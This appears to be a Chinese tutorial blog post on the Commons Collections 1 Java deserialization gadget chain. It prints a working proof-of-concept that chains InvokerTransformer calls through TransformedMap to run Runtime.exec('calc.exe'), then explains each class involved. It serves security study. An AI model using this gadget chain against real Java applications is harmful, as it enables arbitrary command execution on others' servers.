zoukankan      html  css  js  c++  java
  • Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识

    0x00 前言

    Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

    0x01 前置知识

    这里先来看一段网上找的,poc代码

    import org.apache.commons.collections.*;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class test {
    
        public static void main(String[] args) throws Exception {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
            //触发漏洞
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
            onlyElement.setValue("foobar");
        }
    }
    

    先不管具体的实现,先来查看一下运行结果。

    在调试这条链的时候会设置到一些没接触过的类,在调试前需要了解到这些类的一个作用,方便后面的理解。

    Transformer

    Transformer是Commons Collections中提供的一个接口

    ConstantTransformer

    ConstantTransformer是Transformer的实现类

    在构造方法里面对iconstant进行传值,而其他的几个方法都是获取iconstant的值。

    InvokerTransformer

    InvokerTransformer也是Transformer的实现类,

    在构造方法中有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
    是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。

    里面还提供了一个Transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

    ChainedTransformer

    ChainedTransformer也是实现了Transformer接⼝的⼀个类,

    看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

    Map

    Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

    TransformedMap

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    

    Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

    我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer。

    参考文章

    https://www.cnblogs.com/litlife/p/12571787.html#transformer
    https://xz.aliyun.com/t/7031#toc-8
    

    0x02 未完续

    CC链的调试比URLDNS要麻烦不少,调试的时候需要大量的知识填充。继续mark中。

  • 相关阅读:
    图片懒加载DEMO
    手写offset函数
    DOM
    jQuery笔记
    children和 childNodes辨析
    运算符...典型的三种用处
    Python中的数据结构---栈,队列
    手写call方法
    移动零元素--leetcode题解总结
    剑指 Offer 36. 二叉搜索树与双向链表
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13758664.html
Copyright © 2011-2022 走看看